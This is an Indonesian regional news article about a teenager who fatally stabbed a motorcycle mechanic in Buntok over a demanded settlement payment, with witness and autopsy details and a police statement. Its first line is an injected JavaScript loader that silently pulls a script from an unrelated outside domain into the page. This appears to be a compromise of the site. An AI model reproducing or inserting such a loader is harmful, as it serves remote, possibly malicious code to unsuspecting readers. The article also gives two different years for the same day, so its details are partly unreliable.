(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BUNTOK – Diduga dipicu masalah uang damai dalam kasus perkelahian di Stadion Batuah, seorang pemuda tiba-tiba menyerang dan menghabisi nyawa seorang pebengkel di kota Buntok, Rabu (5/1/2021) pagi.
RO, pemuda berumur masih 17 tahun dengan senjata tajam habisi nyawas RN (28) di sebuah bengkel di Jalan AMD 1, Kelurahan Buntok Kota, Kecamatan Dusun Selatan, Kabupaten Barito Selatan, Rabu (5/1/2022).
Berdasarkan informasi yang berhasil dihimpun Kanalkalimantan.com, kejadian maut berdarah itu bermula saat istri korban menerima telepon dari pelaku RO, warga Desa Mangaris, Kecamatan Dusun Selatan yang menagih uang sebesar Rp6 juta. Diduga tagihan yang sebesar itu sebagai uang damai atas kasus perkelahian sebelumnya.
Saat ditagih RO, dijawab oleh istri RN, pihaknya sedang tidak punya uang. Diduga tak termaa atas jawaban tersebut, pelaku RO kemudian mendatangi RN yang sedang bekerja memperbaiki sepeda motor di bengkel miliknya.
Baca juga : Menteri PPPA: RUU TPKS Bisa Jadi Payung Hukum Komprehensif Bagi Perempuan Dan Anak
Tanpa banyak bicara, pelaku RO kemudian menyerang RN dengan senjata tajam secara membabi buta dan mengakibatkan korban meninggal dunia di tempat kejadian perkara (TKP).
Setelah melakukan penyerangan dengan sajam, pelaku kemudian melarikan diri dari bengkel milik RN.
Diceritakan oleh salah satu saksi mata, J (49) tetangga korban di Jalan AMD 1, peristiwa maut berdarah itu terjadi sekitar pukul 07.30 WIB, sesaat setelah dirinya mengantar anaknya ke sekolah.
Pada saat kejadian itu, ia sedang berada di dalam rumah, kemudian dikejutkan dengan suara tangisan minta tolong dari istri korban. Ketika ia keluar, situasi korban sudah tergeletak bersimbah darah di depan bengkelnya dengan posisi tertelungkup ditimpa sebuah sepeda motor.
Baca juga : Pasangan Bermesraan di Hutan Pinus Kebanyakan Pelajar, Satpol PP Pernah Panggil Orangtua
“Pas mendengar istrinya menangis aku keluar, sudah banyak orang yang melihat di situ. Kondisi korban telungkup di pinggir jalan tertimpa sepeda motor. Kalau untuk kejadiannya seperti apa aku tidak tahu,” cerita tetangga korban.
Jasad RN kemudian dievakuasi menuju RSUD Jaraga Sasameh (RSJS) Buntok, berdasarkan hasil visum korban meninggal dunia dikarenakan banyak mengeluarkan darah akibat luka tusuk dan sayatan sebanyak 11 luka. Di bagian tangan kiri 3 luka, di bawah ketiak kiri 1 luka, dada kiri 2 luka, perut sebelah kiri 2 luka yang menyebabkan ususnya terburai dan di punggung sebelah kiri sebanyak 3 luka.
Kapolres Barsel AKBP Yusfandi Usman SIK, MIK, melalui Kasatreskrim Iptu Agung Gunawan Putra STK SIK mengungkapkan saat ini pelaku RO sudah berhasil diamankan. Sementara itu untuk kronologis kejadian dan motif pelaku, masih dalam penyelidikan kepolisian.
“Pelaku sudah ditangkap, besok kita press release ya,” ucapnya singkat.(kanalkalimantan.com/digdo)
Reporter : digdo
Editor : kk
KANALKALIMANTAN.COM, AMUNTAI - Lomba balogo meramaikan rangkaian Hari Jadi ke-72 Kabupaten Hulu Sungai Utara (HSU).… Read More
KANALKALIMANTAN.COM, MARTAPURA - Bupati Banjar H Saidi Mansyur membuka Sosialisasi dan Rapat Koordinasi (Rakor) Penyelenggaraan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Setiap tahunnya, pemerintah daerah dan pusat berupaya untuk meningkatkan akses terhadap air… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota Banjarbaru memfasilitasi masyarakat nonton bareng memberikan dukungan kepada Tim Nasional… Read More
KANALKALIMANTAN.COM, RANTAU - Dinas Koperasi UKM Perindustrian dan Perdagangan (Diskoperindag) Kabupaten Hulu Sungai Utara (HSU)… Read More
KANALKALIMANTAN.COM, MARTAPURA - Ketua TP PKK Kabupaten Banjar Hj Nurgita Tiyas menjadi pembina upacara, diikuti… Read More
This website uses cookies.